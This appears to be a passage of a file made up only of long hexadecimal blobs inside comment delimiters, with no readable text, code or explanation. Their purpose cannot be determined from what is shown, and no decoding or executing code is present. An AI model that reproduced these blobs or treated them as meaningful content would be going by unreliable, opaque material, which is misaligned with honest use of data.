9c9f2d03e97268e035a5e84d6b04e30f631e4e125eaba15ed47fc7231e660f46e69d30c84fb6ac78ef4cdded5294233ae6fa79600761887fd999c06236797c428c24615b68a3e478be4f1a79d7ee0c5042101a028b48895cb4f346b84a2a8106876ca73ab7e18e724c57762ca94224275c3dcbfe3507326abac1ee3cf66ac0f101b1ed22692273d3f3c9f5aabb81ed77e8acc0c54e9fdd73027c2dcf8c58d0570d299b92813dbb8e4e3f4927b4460f1442c1028950c4a7605210520d3c6e430a3316c960d1c32f2973116d3b1f310a2bf9cb6a820a4c5cb579924bdf9720ce5929610ac9f70ca3e2da1a156e764280e54a02c5bbd56412c94a0261b23d7ce29ad1ef51060202aa61a0317cd73473f1da4c71ff179d86acf6db61b866b4751b5cfd8a9dcfaca1e6c8a9728c43ab639fc2cf135a1980a3ca66c262d58a50c64ee81e5b57bb52c650ca63cff08c65bb25826dedef471200ee0def88d4be5ec324200eb710bc139a1583f1cbba5b96602d142adcbf5a5e98ab8b4f317a585130358cfc1f85bff9af84654547530cac78b13943f162dfeffc44da7aba3f9e435dd446a4532f3e863e2927ddd6c2f3ec6e19c0315ba598a445dc02b8d4621b4c2bcc81d6d6e08c85a1ec994bfd984976bf875f29133942af1c14a913597274ad77741b5ab6e7d32cb4b7dbffe57749546936c07427e2d74e95ba7495e7ffdb7ba317723200e700963e1d117010ec2c7e9db7b90ec81c53e7c4621421abbe5725d772e3d7436b7ab1fd8147b2828027b44b52b8265c2cb82371e7b9a9d49453c9eb7b7b41859e69cf4d46d543410c8c748b610355aa799f7b67bfdb87d01ed8ab5bf6f5d3b7c542bf7143366200aa385dac525c6747d239f4f3ecada503634c60781a3504a850a42279b1027c5f1df1fdf110600ec77ae7c1da11116f7e66c86858dc7ff24f3685152f8795e95cebe88cd932efa18b4daabed5bf170d1ac4fe09a5d3ee8a5919223d0d180c9b9571cef2f7537543db9f9a4da138577391846c759c20560f5b89381448548bb773f5e4171c72f3820d9aac807edf6d353b2aeb386e64391c4383202122a9f26d7fb8720378a3cd604b7bc5f13c0f96e8eab164f7f3ff1c991604829104fea9f046dc315edca951b5dfef7f5e618e9188b7dac8a182bb98c8171392d4fc5d27f9140fb7768317b30aeedbd1622d4905cf624beb1645051fcd0cb4181d472ee8ce0e0638669a9dd9eb45e9c423870c31e77c034c80b1f7f3287e52ced9f51e08c6b54434c41018fc7e82fec2efecebdc89d634c11beb4ca41788ab96c0516832e941a5c8fb2849293614737f40d550f8eff7eaf654809d7dc5f279d0d927fb03667b939b6f65051d7be7935275de8cfe66bf8370d6997783864fb587dff874fe016bf3e8f091a2e1753a72ce5b0dfc5744421d3656bb3c9057e77330cee78d7f205a18c5726653f65aad5a616018e9b902a55b1838fb1670ad7559ccce9393db944252473008b0b769f8c45d17ac22ca62f97a86d5ab3830fd401caed9e89a2cc986806d47c213a79cd7c47f51028cf4cca3a52ba67f6b16d8ac265e31521161727b9659b9028fa4fcb0c06b93f08927709ee833c53d5588965de63fc9ebfd7ced93f64d2a5801c322dce511b16b742f3623a4a638cf4af474110b8b1c89b56c7c8d3984e59a83d8bfea450e466b7cb57fe829bec3984d7e98c224f5933e610a9ea6a250c02cff2e1822a19275f24201c82cf8d9a756037c73be1e19e1fe38cdb57334c2d83b05a749e58b0bfaeadbde9bd42ada44c5a37bfe49ed512d1027ef7fb9df2a3e63418871cfe18d1*/
/*6be1be71174d6d39eede9366c2c411cc7979988e773b27eb9b3747e55b6fc3188f6726a23c136ea140895e70539f20b14584b78fd58f8a74ceecb7cc06f59f8ec0c130a28b2b8e4f51ed4e13edf33299d209878bf0ae48b3b846d1c7a3a430c3b3f364957db1a31038ce2197eb8cbca2e5cc3b5d89da768ac7b411cebc0d9875cc3ded71ec986495d763fc63bc0ffb8d60d98b9dca00e77c7fa0ab4c24407bfa1f94bfcc7ce775ab3feb98439848a19f92f9bbd7821f13fc7ce2ae359d96749578805f846392de098944e930c8c0535c0bf0a700cf1e50d24a3d87c36c63c47fab0abc48081698566830a7a554820359917f400348d1fbe96d8b2c1542559162d84133677aabc5a8012037a4b2c5dfebe06d3372ddcaa0c7c3340395d09a8071ca304aa5043b4e5c88891d54c36ed3f5eb76a0ce8dd6abf1a172eea1199a085aa0e0f66129e7bfcdeb7928463ea69be1db3a5eed40af6fbaa2041ee6ea211916782247ae3ce5a16e0001b79f090399574ef1fda97be84ff0af96c8b154be03e4f5b2593411d9957d958bcb910c17d396bac779d6ac728ad71b6bab571a75b5fe89a892baf749204d6db96b6b4da167a97b1ad249c6d49305da3acfddf5aba5dc6f2f9c2f76efa37d1277399351643ce57a5209a76c905eed02ae4edb52d1c50f7c2530a4eb855bcb9f2b1a6574b5bcee90df77898f978331a5e0ce13e52183aca9afc37fafc880f4e2ffc6e44e592ea6151e3ee161719a43c9890ae02f7bc51303f7c259eaeb4f64c04870d3a76038b4f275a76f6395d89bd4db42989789cc043b56b7bf244d3f27984cf0f4b672c311fbaadfbc66d2990d4ab168528066eb628bb04eb64261ab410850e3f1349984f6a9f59cb28539d01b84dd006056d3804422b5733255ef2ca098db87bec608a6a04822b33715145cf881b513656eed0b4554e44117241ffad2c119858581238dd3c1aaee8946858439eb41fcfb46d4a7b015c297ffe5a16174aa803a17dd1575066c8eb62ff248ae5fccec18df09c6b1cb7fe4bc512549dd8c8addfc898e16f980f58138371ba5c69f7e9aa5931c93b452d926f048bb3bb05dc714eb1cf8d1cd4a0c9d137fd4542324e46c02a6030cb17154be0813fe738357025050dab44d3d5cddb0e318d6873f486d5d7a0e19b1f8cd70d06dea61f2d20743fcf1f98e6a49833b1cc59da590e47fa5219e723ce6e9defec4c16a7f73fa33585500b2a52863393af204262715a7fafd0b88484e4f97e2f907175793b1bf1ce60c53546c40057fe608d3765a3a6ab1a9f8347cf122e70a9aa5f0e70d18efb06d669fbceebe9ad4e9f1c56866fbeccbc218c99a234669d778e9463d9e0ad8ce90486b60d9cced6ea4f1a150f733450b767566e9e60446bd171aad446c7e30be8ac12157da9b22bf291360f24956d57bd6eccd9d399f39b48305e2462700de301d9dbce8bb5bc31f5335d4b5b4c8081123e905238d30c9a7fe4cd5360d8599191be9eec0a2f719c6013e0fd385f8a93e0e8dabe651bf80f47cf11dd6dc8da7469276514e1b7203e7514b7cdea9b50a6d81f74c243d0cf5c1bcea11cde55483fde25cc134565ec582172f546437d473eded30384b088a4077cfd8d1b17fc60d12facf9ddae6a7eb507ea9b5fe6194c15012ffd60804983ce46f588c097316ebbb1ec341e292c1faf908442633095d12809661bcc7962be9bae6a338ee99efe66dfe484d4b4ab890bc5e58c2d24a799f582e227b785ec73ed85c9fd2c3134cd0591b0fc38ecd896ca3d7adef33f472b1af18acd174541ddbf9e1f13cefd4694efad3313587b34704a7ca243f908223166c3dd90759c06ab0908d789d46362074bba7d724a8006f9c4f8520d0144d63ba6d4f4abe5a5608b8c12998f3988ca37f8ffacc72c93a48225efcf210cd518a160d53290d0438929f42a8dfce90679234fe7dd836b195402a00c95e7723438a546fbdc4fb2de3ae41b1a1f6b7351ddb2055df37e979117a0cd5b05a158c8f461db0ebeccb96adfbcba65637484aa50cdcda5b85fb3193ecbdbade2f4c6d676fcd5871d5d12066d9a06d2e35156b59f9daf651d9bc83025672b17d60d7f7b315e2ee26549d5e1e986a199ef97182baa574306e508ea5142c1b971a8f13acb2469eb7f81640dabef2ff124b97e6ce034de1bb982d924f5aa349ab646a367fde841e84f5b4a24b98fc8befdd7be61a19b17c29d3e6f5b053fbfe37f60e322467f21d42bb95d071b36f3f1b4f3928297e840b703085dda88b170b92d726ff8f989163c22951ac1ce62187f983732c0adf9494c61f16595a2607c9a6d8bd42cefd9823e3c6da8ad31957660204364da6c759d9a363db0a2f40b75290b78bcd4804b425f41421608f8a7e5828d3518dd5b3d7dd9473b56238afec42eaf8b21a0f1206590d3e15b50e0bddd922ee7a266bbb99c734c0352789f76e3cf59668f6fd19b1dde96330e62937ff5040e6a351133173ebe54d94bd1c003ab01db56d95f9d1af61091cde7b0185a048abdf59ea01cc013557f670753883b8a6d0f211f0ebffbce197e468d1899f60c5ec939384940072f4bbf2353d2bceed716465f3348951d721493c2999640c6693638c4c1c84bc708f823c15583c105e488f2eed48c4f0aecaab7baa6f4d06de954642bb826717716ed8da23a85e6fdd241e11f9e2d8bbabc64494e5ec71424e9bb52175638f159dafc047c8e6fac4e84687f7cd19bead4f1d174875e7a1bc2cad9bb228f0fd19f411a539a8dc4017b107aedcabafa67562f616d2d357dd343cce5c5970c3186dc56faf701adce2ee5fc0f9*/
/*2cf8b3b457a12d62aa4cc0a0aee593fb44989ca40bf565c906df466ed8f0db337949c277f4a21c7ba6bafdecff69565eb4f440bd6042986d83c030673ac6b2d8c8d50202b58b6173990ffbd12a781638c72627b5950095ec25c8269d9896cd10b1adecdfb59dc5b437fb534fe962d48205669d566fc216245593df12000b463bb0eb9c98302f6cfca466572d2a22bb3d91ee93313962faea0a4f947d9eb8a6f900fb53e3a1834e09611ea748156ccdd78be055d8e66cc4a0505cd62b72bf979c06272e3918116190d3be28bdca345333bf8ba6d49e0305055fdd1ae5d4440188d3e194e288b8c5059e48f545d869270801d275f665c1034a8cde8a511c16aa06b9673c64e6be529a5e68582af131cd61919e3acb72ddca1954c41cf034bfb185b5e7636c853966c108465b72ecb2daa7a5959dddcaa558efd4a5d5f7149e0516d4614970259ffa5f3d224177f7dd2053ef0b14a30d9450d5c15f62ce1bf48bb248fdaadb485632d14428f15658267586d68770f7419c13127433dbd91b75a7533db4935650709305c500e033b2e0069c2e808c1f218aa030d57cad4a8870b12744770d4ab48c7486980e549d5501072f3521ed555738b09a0ab023d5107aa97c4055ae8eba0645184444ef394e13717f9eb4cabcfc6ac38f869c8f077643a1e762fa120e9b07eca3fdf941a6bc664333b9ea2da8a6b580b258f8ebf4127858434a423d1880c4cd3261b8fd62231ff7440de1379ba69b3b58f6d0fcc000d4c762027692ffe9504e49d6b7a5d7db646bc45d0723d686c5a8fc8f131422dae2b9f5c47ad70ad112f5551576f930ea5a1bc629535c2e4eab54423b28c021647a24fdc972463fb242f7d3da30abe050f215da74035ac36534cc213faeadb9d407804dd6fb95644bbb0a52c1406bf7d53f2adf51d6c3b064eecaa2c06fd09dd0f7caf1f57c176daf9b5ada03cf15ba7e692aa301c5b5ccb87c2f667ea4ca75f9269f88727b5371b3c64d5b81c7889db8c34e7fed2d15f5be8fe309b2ca9ec5e5e67b88f661f18d52205630ed26006ecd1e2fb58f1180e77920478932b509818a7f1c8b79d797cdf743544c9addd8ac64e1e902c346da6412679d4e112f4bb563f1a64a99170b77db94d61ef64aafe3f88bf0d0d3dd277e0423b4d4e33f3ccb146e04a7625ce0f878bda713e14c3d98aae2ba81a868cf9aee6e4cccf4449dac7d4f62bc77acaae4604fdb6a751c40fb4ae4370d818907ee6b2a637579b512119c78a9e6c6333c4b04013e7a7fd33e02c81adbd916ca8b3698dea4186294b0cddef3bd76601bd322959e61c14e97c99641502dfe6ddb8747c611f28da70d8cc068ab6a128ddcab258ea66f8f30cb2cbf4f010c4aa49b8fb1f5291ed41792647a197144f62bf903cce5da1d18104c15034fc44696d3ae2517cd4ad09098736c9073d326a5f76696c086af7b380b91daf856efab80df6c3a972f19636fd9f468225498d56f62da04ae6d0888da857cd49abd77f64c7966bdbb9795dffe1ad68a663a3fc98671495479c4f7741f2873623022f8021742216dc2c06608041975426b612a98a7255f95b6acc2d55007600fdb79c50e429aa69d301b5352dff33ffec2953d0778b1faf431218e7a372cc47950c2e07333d41c50841ab68ba93e68d4a28756fd982a95757b029ff521abff8eb259feedf18d9b508c8bd3bbb3e46057b06af7ccc21af6ef6aa0fef4c176e0f2f52e36585bf0ddb9ca17e0a838d611cd7cf66d3a6c70623005fc0b591caeb2fc13f1fe6069feaaf17b10fd7106ab5c50b59a0a83e6cc0fb498db1064d4ef2eab639f8cb80b32aff23cfef4825bdeba5964faf01e9d2f0dc364696786ed4b26871df86bb67f51a4f78d252e01128d89bdf8ee092541b1189ede73e3c70239aaaddc05eee08874125b86094ba747de3072ccb7c81923cfa0bd8200ddf7dbc048b2ca0323def4e80e5e02bd879d06e659e752bd3fa10ef68d35d28ff5adc7d3694653c23ab28ab5cdf7394407ae00b9aff2cc3e1ded723e71a902203dff8ef7c7c8f71365ecc29b6911faf145620fd0b5174a1eb98a23a36c65861f67413a6654c60f7c6fc4a11f1e882a8f4d0d33b6dafaddd1599d3de6a9a73ff0b2641444ddd5731840680e597e46bdc788a92e0854a18661d8a2c950aa22908fdad41e5da2ed2366fa1faef5a251fe898e2e15029e28df273074f321adc6253d2b833e4d36fc9bab0020f49249f0ecff807bf6090f5e8cf017d0b74322dada0d83864700136c40bae5f66a1f1491ab687764fb1d3e52da4c8ed3ddfb818588c7b83403ab708ca330158b0d0502e16042cb1bf4d952f5190bbf2911fe4f7495798660091b37c6d76f0fe6da152039fc24e5f120981d4a4d279858469a1ccdc044613735df47d79b8da0bf35d23cae90732426aa58f1f7a682db076e903f4f95133b9491650883d9ed64d3ca7881e4a9fec6429129b3899cafec70de4611d0d824243580cb3d62ab9b0e6d28184bff57a1174f4c3a3a826a8718b6024e716b91618aa183b6a8af0c7087c1432b3d9b79feb7e725b50a6f6d3a2de0925504066fb53fb73605a32becbb552e83f539648561862b3fbb32bd0c2588cacb0b546855aab691fa6ebbd20176e7e17a3f1b6e7359f717f1bddab0ba97251e31de197afa25179663288dbb252fb4a3515ba4bc8aab0cc9ec94c390421c75d8371ee4b99eb23f5fa42831f125683349003b1969300221827903e2376fdc8942d5c00a78017c5be5a56c51cb61be86713eae1bb38f09549fdd375ee70efda2ac8b4d7f8bb0431156ad829e02c7018b1b58*/
/*4b71eaa4329eab03ea93a49ca90b1fec3ef9d5ac6cabc24c6aa8ca4b3911ffbd046a9cc34ba9dcba55e80cc66274c14cd796ee04e9a33ce15e1b3922515d2bddc15c9d67e4def6161b98c68e6852cae4eae407bade3fc29fdab7e040c091c779357210d20397f11f03fc4638c6d47af9554aaca4b3cde9da589581f7e449c1df7ccb98eedd6f2d9f1cb8f5a19ff624155f7b05de89af87b84eb017d1c812721a14f3feab933167b493e393ebd59d72968f76cc4d329199ab92046083e6cc174bdcfb8543dc3fd71caecb0b195e14115611717b8c6ba2ede0dd237655d676b2e2e099b2e12b32f522c9ac626c364993c1a8e42ec9637c6497ee47fbfa960444f21db672e38cbe151aa83a3682cc087a8dc5e6c9570f5f51c3590a9fa70755c17287b2d870fde0b009b9e86d657c84e18d8aa9d42a68b6e86110fdca5460c95953df2b34f2c2c454aef0f25f3824272542c32079b5060af3d5039ce59adc1db55a60094fb44a3b0ce331a6f34756889921ecdddcd1a5facc7843cb43b901e9ff14330d0533ec8200fe82ab925c36699b421857f98a535640a0fa88f0c0aaf6e72bd0525da82255fcdc00cd112bdca841263d2c8fdd6c86caf74063f5d547e20301874d6e9c8ef1b81cad10e5143de939e59cf6dfad06db0a19c054d271a02c8371032963035130aa7e201bbe93091e3c16177aa9ad34940a6b2a3a4a73450295ca0c7b787d83151449f548cf8c4829cd96311f3626850aaf4b718f3fedffcafb50b5e2c435d723c54a037383650abd36fec9d97a0d5ad26531b79279b37aa38c1813fb7098bb8c7426028c04d9fcc8aa8fec6348b18a29114f26484535761b345d769497676cefd7e37dc013c7598167df2b9fd2f0314a701605c3f772d8b6d8ea7e6977cfbc01e071a3f2186b0e0c8e1fee4f3b2e1bf1c3b8791525f21f45970483b70f7956af7440da7af38061987640a523ef880e6234391649f1a4565452869a39c8a927afa365f249925e7fc39047bdee36b9f2b1266fde1361369a6cff6429ed5c6ad931814774c6fa4ce8c38ac2186c91d73551596ba9a7274e1d969e54f07a39c4d34c6e7ef8bf63a66f6138db0c16785ad0151819be09ca7bdf0f4deed4bbd29b35d56b2e4c7cc32a0646a266fdee848a8de8d7ab1e207293352466d6e73aaea2c883c4bed86fcf8b6edb75bd167e9b4e3c93172de2f12b60656ebff147fb13a8fe0967aaf845a02b017481d90578bc64d92ee602d2a4b27082dc437ff2ff9493fa18d43e6d6d49e3fddd7e1552aeff688d959739044f7def7a60af843a6b0dcfdef060d02fa46c82b5f02eb7e8c73ecf5dececc2235c24bb4396affe07a376471a90b4d82dd35ee39da9493151814e26e5fce79e8741c03ea7a9fab4b0158f1197ec9926224b9b0b63d959cdc580ec58043a1e673762f6ee67418809cb5ee9e77f5ebb3eeb26d97987f9c08c691c416981969c1c7a565bb16ee7369bcaa870dcc793d4bdb2cfdfae5d0506ca2e27582541edb1105e0428596a42f91b5feab80a2e35de9904de362bd7008eeab78cb2346b42e8f5174cc3994bc50bb193f9f7b2161abbd6a303a51484ca5163cb68185144130ebec1f170cc6c5b764d58cbbae0dce316b61e78fe6b705af4bc81920170b02c742ea161ffd62831ea87bd39154a4978c71b4f4b831631e68484d7daba048ac5fcdc9cf83b2bf533bd095a2fbc1245dae31cc56cc97dbce62cbcf535004f6a0dcb1947ac5a27fa7def2bbdaa7cd0331dcc0a36fd4c77e26e06c71bc3e72b6b217d3420e1d4199d484a7985e5913ae020f4704b5864f9bfe306a9432cf9a2c5e6bf405f2f36c019f690afedb2015b2407b73d6e6b244a99aba49c12fe49afa9a8d28edec1d4df3b0c9c8091ace52db1f514ee90d37ff1c570e425da0e86af92015efff26a9fd872cde0b6894034929290ef42113aa8b92a9b46bb91aedacbb3e20e1a622e0dc9ebc6174f7e3b29371d3e5b5dfa564e99c57e051a85832fb457a1e3a46696bcff759abd9f07ca7b7468e8144ad365003488c35ea5c09d2dd02cf7fbb60c103132afcef93c8193b42090bbf8495bd153b36f363a173e8dba74f42913a05cf33fdc5815ecb57cbac45ceff76b4f38fe8d2076312130548d1d324713157017de907d7b5bc390da30444699c4ebfb137cb76e276d6151e28f370d5f7d7cc219a60c7a864c7ce45f8da699703e239d413792a62c9ba2cc25539176b2b11c0ba4dd72a8202ba4d8c376e7b3e51cbe1ad7a990339b9eec921fac78095a03775d5408ce62d643496e7fe0a06e698e73396c123f69f0cb570d0cf722b379f6a5f7ca3e0c97a65fa3df356cc9747436f96a227f70b58212e4ade0aa25804ea1edccf8aecd6d48d61a254a43741c5d4f2847150762dc8f534504fb7715d7e9949cf6833d43b9edf044c2cd57cd477ea0af9e7a73dbf77596fd40c46153d0d250a3dcd387694b5f2dd01b534a61233a7450f9070e85ba8e1cb1a963c601d759876bb315a4ef510b4cb29f6d775506cc7315433ca954399a06ef2301b45e985bb76419d933ff97227d5c977581ebd8b56820c220752c9c91abca5662d10640c7b5528dbe6363d604cb7ed5a4d5dcd55f89656fa8b167461935343db80424d8a844d673bde1fef375bd02ac8f9f0f0d294cd204018e804a31192bd0f5fab1ee107a5ebb50488c3dd4ce0833840bfea32cfc2e01166ec20b42cb7e70223c24579a12ef7159d881073976c42c388f475dfc59a8b93fa81b80ecdac713534200f5f1a1b5ed01513cd22a8bde5d797a60d03f6fbc64c289cf75de0e2bfa*/
/*829099ed0073ade116c1a653a5329323d9decabacdcb6b44d7ef25ec0243c256bd8aebb743253913764e0b27a6055ce93fec35a7d90e99a47ba84782dd7e7f3959c4ce88e76a5e93a69c69366c0ad7c10e9805f2b29fe29eefff27560091503233ffb538e4de7fc246b2467681246897aef572a0d20046e2b9af7df509c9dc0b791870399f5bb35c103179e2c0ebb819d657351e751adfdebdb2c23c5a4450cdf70e280f30dd104916cbb8c0355e7131bafc80ff26fb3892c262f97b327db06cdb9ca05f08a6245ba1f4c09d54502f0469232be9a5f3aba50ea96f706ace37db45e3ba27bf0f04297f0f8090658af316dfc6d24cdd6c77a01b96576f54f3b7b0bb0ab7ae8c01c1f6fd4db80bab13736751aee6d770ea5769bf6ee7fc3c41762807d4cb62f02071fedadaf5b7c4887ac5c759fadd0490b5846f858126bbbdf0bc31a26785ad2c9efaa5548c816d23232d70e3b1c4efc3969fc3bdd69dc180bd83f36cd27d707f78934d9d40f031ede9c7a2cfed352c7f19a37f5031899b485a7925f65873d713c876b08b0c871523e085132293218e6f0f53f36257a47180bf5e40bf075d7ff52c29338fa42462b5e0a44986e8038935eceacfd6e02b1dfbb8ec3df5a7d2010795db3e9e17ea6b66f723c65103040851c8390228cb91a7352ae6908a9fcc8ac8d024bb4cdbe92abe009d6581e3c4c576e65cefb4f9d953f47f8f0ec99ecbef535512612c77bebfd2543268b145caab358887246339f489ace4b5ae63b0b4360007a6bfac8980da1ac3a2c0ea999d6b67098eaef16b22fc30564ba08707bbd65f78eac5d7a6ef3975d282ff7d87e540bde6e1ea8996128c4e48fd5541b4f880dc6e7ee81775ae455842db290d57a981c085e6528f6f5f04243da48ade369d6b3635c8653948feaee4885e6cc233219e728abac0d4c550638bbfeb9f1df54e2b1e49933beb1a412e36ba29e94af0ff98f893512198503a25a308e302558370ce40a6cc94900ecdce902486a788672e4d47759de1ac009b9f50bc3be4c6cf5f5cb987b5381cace83b4aef1f03d77e60400486619e7a14092fe017d3aaf03f6916533a35e39c370587057047c2c90c730088d628d874ac9d40afd682a6696e28f979dd1afbb3fc714213360c6755b2cc4ebcfab1cdc8ba5dd9944ab2f8761a8491685508258b66cbb70dd1b05eedf64ca2181986d2e9074ef08e332b5f7f1dc7074093d7c1b52640cd9838c99310a6cbc7b5213baf5f1e7ce3f2fbf907436515b0ca1b176d3f32f4cfac0a1c3f1737216718bc3a2852864958644a79d654acd9a2779abbda6e9c865c39e5c95e122762037c4ef56fd8af9db41d441f5b825bec85df3d0e05ec6ec80e0b71defb961c0c0b39aedc261e0064ec77445517adfb586f6afe073c70985803afbdeb27a40d69b0617c036870089e53eb0d2c79ea9718041e659aa95742f971c3f68f41efdf411371cad07724cab13bf401e67d2375fbfe8bc943d0020a4510e3620feafbfb53071f7e0b7c65988df3daf8f4c917aee49a0073e9d0bcfc489822f53ed8c016ba583d816c1366e1aaeeb1ac000c05f76dbcd437b93e7ad3162ad3864a0681f40c1b81e5f3849f3dc0d44ad7c297a1ef05d21417b27013a7baa2db6506a31996dcb55bfa5f6b2e71c82f4d89fed7ef2efdf2cd3c28c4d52778cde9df16cb19e68aee92b47c4164e651abff0e46933d1171204cbaf5ec94948e7296a113c67ab1c1e321b03d17ced69eeb0d8b85250e9d0a4a04b8ebc53b7740edbac152d955c777c1e0ea1371142f901e56edbe800617319fae97a24a48992f8a6263ba9dcf61f974d9e75298c3e047a5ff0098a884651d1fb4860aee0290654783dc2b02158a2c515b1735337e0be9cb4b41fe13d44eaa31142afc31ac84c43947f5767a5194648578db875ae37245c8a91afc66f59df38768ac1d9474ae6d7286e51065c4ff75295c35f58675d17b8f1f28ec34794d7329d0731aa0a71eb7428b7245ad598f800ff84fd3246749c90c399a69cf6e6ae38019569ef6a92716708371babf83fa3cd42453dc0e74bac81fe5141157a84ec4f30e4f6c3ec7689c762037af596bcc69495eabacd896c3d1aa3296bb9fddac8fe3054b476985798b9f083d667d97b3ffa33fb41fbadab2ca227e6181df811ff2f75c73a34912b8f6a5a3aacba96d96fe4753db91943cdf603f01f2ae0355ca92039cccad0270a0e0e2ad9251d5f066e60ffb4ee59d15f9f23bcdc57eb35a14780666ddc2653731525b4e0edf59adb923b676875ec7a409382b135707a86b9f246174483a41d477650855443389f18ba5d21ffceb2d9f083460b60493f5f46515e6516ca4ae6d4679be089d53bdffdcfc5922a5b35015253d20a6239fe8055b2380a853ad8b4eb63faf24839682d02f910bcf6900515d628b825032dd9d48a8728d5ea85a8c6b607ab850663f521b3418ca25b4a8f4bc0b09e252179f84c40d2fb10aabcd57de96317dfcfc7a679ba0fd60e6891dfaea0af7121781d828f5bf8f92450a94766f304abd56a4e267366c5894000846e410f26db2a8bffa95535ca1c9a2b3e6b7ba710fbfb14cbed19d293d37340fc2c5c11aefa4687b96aeeb7165c4f231c3161bcff2a071265c20b1e49b15f3e9aae75bf16512b5028ea9258fe3177c7b3fa5ec3a2e5ed33921540bb2ebce6a7b21ee1ce3a18b2f0dbb2bde8cfb30ad3f0f2913e4c5c5e29068d8248b776b55ed8c28cefb4810e112d32d79a5476135d82e780244ce15d348b288ac0037773a8e543860589c2a75a334373c265f47750f43653b75667701bbe2*/
/*ef5991dddf5a7b12f0e4c88a7d5d93a07d35d01921a3e6c506c148fc51c1af6219252d5bf6160df1b3a3bda3f029338b68fefd5261329e1b6259ea16077981fb9fe20f7c0f7f32c1e2990c66e4a5ecf3eabb90b7f5a1bd02656005c8a6a3ff0775dcae1ed2fe555848495108b0b9714e440d5d0c13a178188c1aa872c1f0da233e7fa8414191041f4ab0909b7f23b57e539a7e351153a02d7e729e9c5b52b9b59fe3abd209948403afd581a8ffb79c8e429c83f21d3e865b55cd456791fc7ac95d317300abf17b7ab7c5dde49b64377659f8ebde6a3805ba3e639f4d20e73a4ef232334ad3ef6a21abc1b11ccbe4d18ff35397ba18ab9a478d1be27867723a88072eb27bfd4e28b7e6e5c819483d1a0905d9664c8aaf179bfdc04a90751ba6c851cc337e1131e9a14abd8290cbb79129b2da6afd08b80004a51fd768bb14036935ce1a61320bd6bece5c0a25eb94fea1e984a43bce658984ff72ffde54342eefe80a67be6da120354fb931e34999cb44b2b7016da21e6db1ae9be02481b81ca0db46319ed8bffd0d00829b4bd7e40b0e18896cc9efe0d0ede45bd2d55e8fc87c65d09b9eb81a8261b8a3a606cd30b63d417edf3536010398cf160999cebd8ecdc32a3d6379d74b26b51d9ddcf588ba410bdcb5747a514409cf3327895f2108134bc2d98248986f916e3dede7a0ff22eb86cd800628a92115b37bac7c2b97bafbee41da5ab489aedaeb8d917a25b3c0d2c957aaad3054e9f936e7c0c4a32f051606b428c207962b853266227668872c8386ea8f9a6a269cf2d3383207018a817abdb9a93dc78f293c09bd889787b6d339bf6fd08488209bd88d3bb4a89fe405e1aee28bd35e14d2658304ddda6223d78354f1bbd55c5e0d325f827278ba39fcf6a1771016ed5d866775056e2571cbb6c21614158fcc77708c0f2e602f50e3fb5318431b4a82d88c7a00c815e034a87609f23481b4fbef3921d6ccfa2615c7b7d58b2d704976c31e9a1f84030ace4890df04df35388d95febcf3724885491021e7e431f6eb40ca8880ba48c4031d2cea040163dc3d452aae8e9f93b9e83f52ff3bdce7fe8911cd69ff4a0206580cf9602abfd6b67a7c1ad0f8b58d4e9f7b6946fc4674e2a41e79f9fde7a282f21b775f277a8ee7228916ab5d9bba005e735e33b013118a151d5073906a2c9f9a33f9737ccdab66697bc8c6a7d377e5b8df1f0c22f9d0c9755c3b5605b5cb2cb4652fc1dd8375f3ac11224e5302904a612f48eb28e854638d63ff0fc7d3f2d30efb35e59a82f3425978fc835624ba0764533aa10b2a7eabf58557cf4c9b1133acc331bf793a0a46fa5f048b7de0118dd25ccc7d94a45f3ade5a8597fa109b59e4f37775a657f2cfebf8bb7afdfd2eb7076dfe5878d02c48213a5c5008b63fa33f7d49625a3285bf80022e234168eea2e9de4f17990dce4aa850a6cf2549a8c90a6337416ddcd79f21e32da875d986534b9c8241a5727221fdf75f7d7e3b3a0708ebac09f51586f977c52050c0a76da110128442cfe9213c0df100157c48cfa014d68482bf69671c87d510098aaf6f5a842052435a1261e1051537a0fb2ea203e7db5446a8a66367291775258652feadabb66dd004d21345a40b59102f5b798150dda8eca37886d0fbe66767bdc9eed8defd8dda15c022491529a6d91355eb41f0105e181297bacfb85aa4bfe3f9da2cf5a1b8109912fd45971aa2b4f8c84072d2e1342c4436e86cfb9c4b906552906c35387d0e1ccdf4c5f87f1c7e2e5beefcefe0c7f08ed56d3ab0a3e210b0df9a6d815e4b930c3a9d5e6569c2330e210cdc54567423c1b4662e95a0e83ae94e63bcad040d93473ec72f8e3608878c9a3380b2c0ae4d723faf0b243c2bdcea6f20964601edb0e91a8fe73fe4dcbf260f7fd90df7ce4b133b92b6ffc657091b24c3d5000a3bc94edff099a445d4787eb130b69b04fb82b503a10b787b05e9a64d7f06b07759a38b9a4f81225ca930dda93df430a48bd71890c3ec4ba39d0b8a8df9f54fae857de5c89143649970187665f789ed23bd41c8b7909c8012a751c2dac6ecf003f2488208f76b7731cf6cf5c2fb1dc67b050ff237fcc258b85374ba7c7cea8f7d07713e046ce0a13afdf33fe56c86e894ce1ad71a37180e5a70d5ba646d9b097c5693f50a1d59dbcfdd9f3f5b9a128dfb091ac5b0ee1d19e5ebb2506008794b7ede9a379727d6a1c854f3f692b65ec089745779459aa9b89088efdd7bc9b22da57a48645097cd92cd9a7086a542463f0b0e1170532c3a8baedbbacabb22a8155cbd56aa28cca48620496e9a41f26887100b8af1ad45d8b209c6ddd17433919cb18706431714537366920c68fc71d7dbd2bc524366b91617ab445f9728ebb98e7ca0a9f2b0714bbc974d360a7a70ed71aac642d19a6bfda9932510e9f00e1152140cc6cb4b4e7b38ac7a506358f9e91e37e3c0470d8337d273596614f31be20a6fcf0d49590ebdd8614b1807181e84fe59117e43157c07b1569894889b9f0f86304b8ef7034d082ed5c57529cae7d1a966c34bf19bf9f260b65af5f55291be89fa21b8a319102f2b9e563255b96923ee68c51cc5af644569ec37b7e7286e95dbb3ebb0d2e20e403fe217a177f025a248a350bc63d9d36fe9ac5b2a2dbec8a0ecb5eaee8252a08cba2ef9f18d7805cf6fdc5fb894ef8001aa2db66a78c9d34b4c23e63d1d66d5529db500aaeb6c12e598880a1e1ad0011adc860437746155f5a1a29547844feb1c6dd13c9a504857df1cd5118884f8f350a351ca9193d9a4e9e21d8e89d40d906d70785d10aaed61fcd83beeb453*/
